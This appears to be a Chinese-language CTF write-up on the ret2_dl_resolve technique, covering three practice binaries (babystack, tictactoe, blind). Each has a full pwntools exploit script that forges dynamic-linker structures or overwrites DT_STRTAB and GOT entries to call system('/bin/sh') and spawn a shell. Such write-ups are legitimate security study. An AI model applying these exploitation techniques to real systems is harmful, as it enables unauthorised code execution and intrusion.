ret2_dl_resolve

babystack

1. 思路

dynamic段不可写，所以需要自己构建假的sym，str，和rel。

首先payload的长度不够，所以用第一次先用read的溢出构造出一个新的read。

```
read(0,bss,size)
```

这里的返回地址仍旧要是sub_0804843b而不直接是plt[0]，因为plt[0]仍需要一个index参数。而且system也需要一个参数'/bin/sh'，所以还是需要一次栈溢出来传递这两个参数并劫持eip到plt[0]。

然后往bss上面写数据，构造假的REL和SYM。并且作为system的参数和字符串本身的地址。

所以基本的步骤就是
a. 利用栈溢出构造一个新的read。
b.往bss里面写数据（这里要计算好多东西，所以直接找了一个工具roputils，已经集成了很多方法。）
c.返回到sub函数后，利用read来完成栈上的布置（传参和调用dl_runtime_resolve)函数。

2. 代码

```
import roputils
from pwn import *

elf=ELF('./babystack')
sh=process('./babystack')

offset=0x28+4
bss_addr=elf.bss()
sub_addr=0x0804843B
read_addr=elf.plt['read']

#create another read
payload='A'*offset
payload+=p32(read_addr)+p32(sub_addr)+p32(0)+p32(bss_addr)+p32(100)
sh.send(payload)

#create REL & SYM in bss
rop=roputils.ROP('./babystack')
payload=rop.string("/bin/sh\x00")
payload+=rop.fill(20,payload)
payload+=rop.dl_resolve_data(bss_addr+20,'system')
payload+=rop.fill(100,payload)
sh.send(payload)
```

```
#rob eip to plt[0]
payload='A'*offset+rop.dl_resolve_call(bss_addr+20,bss_addr)
sh.send(payload)
sh.interactive()
```

3. 疑问

这里的20据说是用来对齐参数，但是是我嫖的数据，咋算出来的我没搞清楚。
而且不能用sendline，必须要用send？

tictactoe

1. 漏洞点

是地址任意写

```
v1 = option_get();
if ( v1 == 9 )
{
  read(0, &buf, 4u);
  player_flavor = buf;
  player_move();
}
else
{
  *(_BYTE *)(v1 + 0x804B056) = player_flavor;
  if ( legal_judge(v1) )
    *(_BYTE *)(v1 + 0x804B04D) = -1;
}
```

但只能写三次，三次之后AI会赢，退出，调用memset()
所以就引申出了第一个方法：
利用地址任意写，将memset的got表的地址直接改成读取flag的地址。

```
from pwn import *

elf=ELF('./tictactoe')
sh=process('./tictactoe')
#sh=remote("hackme.inndy.tw", 7714)

context.log_level = "debug"


def overwrite(ch,addr):
    sh.sendlineafter('flavor): ','9')
    sh.sendline(ch)
    sh.sendlineafter('flavor): ',str(addr))

mem_addr=0x0804B034
offset=0x804B056
#little endian
sub_addr=['\x46','\x8c','\x04']
```

```
sh.sendlineafter("(2)nd? ",'1')
for i in range(3):
    ch=sub_addr[i]
    addr=mem_addr+i-offset
    overwrite(ch,addr)
sh.interactive()
sh.close()
```

第二个方法是getshell。因为程序里面有以\x00结尾的system字段，所以可以将.dynamic里面DT_DYNSTR的值改掉。
这里的改法，是因为.dynsym里面memset的st_name的值*sizeof(ELF32_sym)是68，也就是在.dynstr中‘memset’这个字符串距离.dynstr的首地址的位置是68个字节。
所以我们可以将system字符串的地址+68作为fake_DT_DYNSTR覆盖原有DT_DYNSTR的值，这样_dl_runtime_resolve函数在查找字符串时就会查找的是system。
只能写三次是肯定不够的，但是可以修改判断先后手的值阻止AI下棋，所以可以写9次，实际上可以写8次，足够了。
另外，在直接调用memset前还需要准备参数，注意到

```
}
memset(&first_judge, 0, 0x18u);
puts("You sucks!");
return 0;
```

这里直接可以在选择先后手的地址上构造'/bin/sh'，他每次都会取反，所以要隔一个写一个。但是我不是很清楚为什么直接写'sh'也是可以的。

```
from pwn import *

sh=process('./tictactoe')
context.log_level = "debug"

sys_str_addr=0x0804900c
binsh_w_addr=0x0804B048
overwrite_time_addr=0x0804B048# who plays now
dt_strtab=0x0804AF58
# struct,minus the first element

dynstr_addr=0x080482F8
memset_str_addr=0x0804833c

fake_dt_strtab=0x08048fc8
#sys_str_addr-(memset_str_addr-dynstr_addr)

#/bin/sh sh?\x73\x68\x00

def overwrite(ch,addr):
    sh.sendlineafter('flavor): ','9')
    sh.sendline(str(ch))
    addr-=0x804B056
    sh.sendlineafter('flavor): ',str(addr))

sh.sendlineafter("(2)nd? ",'1')
```

```
# change overwrite_time
overwrite('\x73',overwrite_time_addr)

# eachtime the addr of who plays now will negate
#so write '/bin/sh' once every other time

overwrite('\x73',binsh_w_addr)
overwrite('\xc8',dt_strtab)
overwrite('\x68',binsh_w_addr+1)
overwrite('\x8f',dt_strtab+1)
overwrite('\x00',binsh_w_addr+2)
overwrite('\x04',dt_strtab+2)
overwrite('\x00',binsh_w_addr+3)
overwrite('\x08',dt_strtab+3)

sh.interactive()
sh.close()
```

blind

1. 漏洞

地址任意写，在add()和edit()里面数组下标可以是负数。但注意add里面只能写0x80个，而edit里面可以写0x100。

2. 思路

跟上面一题差不多，也是把DT_STRTAB指向可以控制的内存地址。这道题是指向堆里面的自己输进去的system字符串，在调用free的时候就是调用system了。

```
from pwn import *
sh=process('./blind')
context.log_level='debug'

name_addr=0x6012c0
dt_strtab_addr=0x601098+0x8
offset=dt_strtab_addr-name_addr
offset/=0x8

free_addr=0x400499
dynstr_addr=0x400420
payload='\x00'*(free_addr-dynstr_addr)+'system'+'\x00'

def add(ofst,content):
    sh.sendlineafter('>','1')
    sh.sendlineafter('index:',str(ofst))
    sh.sendlineafter('name:',content)

def delete(index):
    sh.sendlineafter('>','2')
```

```
    sh.sendlineafter('index:',str(index))

def edit(ofst,content):
    sh.sendlineafter('>','3')
    sh.sendlineafter('index:',str(ofst))
    sh.sendlineafter('name:',content)

pause()
add(offset,'aaaa')
#len(payload)>0x80
edit(offset,payload)
add('0','/bin/sh\x00')
delete(0)

sh.interactive()
sh.close()
```